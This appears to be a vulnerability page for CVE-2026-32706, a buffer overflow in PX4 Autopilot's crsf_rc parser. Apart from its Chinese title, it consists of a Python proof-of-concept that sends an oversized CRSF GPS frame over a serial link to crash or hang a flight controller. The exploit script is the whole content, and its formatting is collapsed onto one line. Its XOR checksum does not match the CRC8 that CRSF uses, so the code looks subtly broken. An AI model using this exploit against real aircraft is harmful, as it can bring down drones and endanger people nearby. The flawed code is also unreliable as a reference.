PX4 Autopilot crsf_rc解析器缓冲区溢出漏洞 (CVE-2026-32706)

#!/usr/bin/env python3 """ CVE-2026-32706 PoC - PX4 Autopilot crsf_rc Buffer Overflow This PoC demonstrates sending an oversized CRSF packet to trigger buffer overflow. Note: This is for educational and authorized testing purposes only. """ import struct import serial import time def create_oversized_crsf_packet(): """ Create a malicious CRSF packet with oversized payload. CRSF protocol packet structure: - Device address (1 byte) - Frame length (1 byte) - Frame type (1 byte) - Payload (variable, up to 62 bytes normally) - CRC (1 byte) """ device_addr = 0xC8 # CRSF_ADDRESS_FLIGHT_CONTROLLER frame_type = 0x16 # CRSF_FRAMETYPE_GPS # Normal payload would be 18 bytes for GPS, but we exceed buffer size oversized_payload = b'\x00' * 200 # 200 bytes, far exceeding 64-byte buffer frame_length = len(oversized_payload) + 2 # +2 for type and CRC packet = struct.pack('BB', device_addr, frame_length) packet += struct.pack('B', frame_type) packet += oversized_payload # Calculate CRC8 crc = 0 for byte in packet[2:]: # Skip address and length for CRC crc ^= byte packet += struct.pack('B', crc) return packet def exploit(target_port='/dev/ttyUSB0', baudrate=115200): """ Send malicious CRSF packet to trigger buffer overflow. """ try: ser = serial.Serial(target_port, baudrate, timeout=1) print(f"[*] Connected to {target_port} at {baudrate} baud") malicious_packet = create_oversized_crsf_packet() print(f"[*] Sending oversized CRSF packet ({len(malicious_packet)} bytes)") ser.write(malicious_packet) time.sleep(0.5) print("[+] Packet sent successfully") print("[*] If crsf_rc is enabled, PX4 may crash or become unresponsive") ser.close() return True except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return False if __name__ == "__main__": print("CVE-2026-32706 PoC - PX4 Autopilot crsf_rc Buffer Overflow") print("=" * 60) exploit()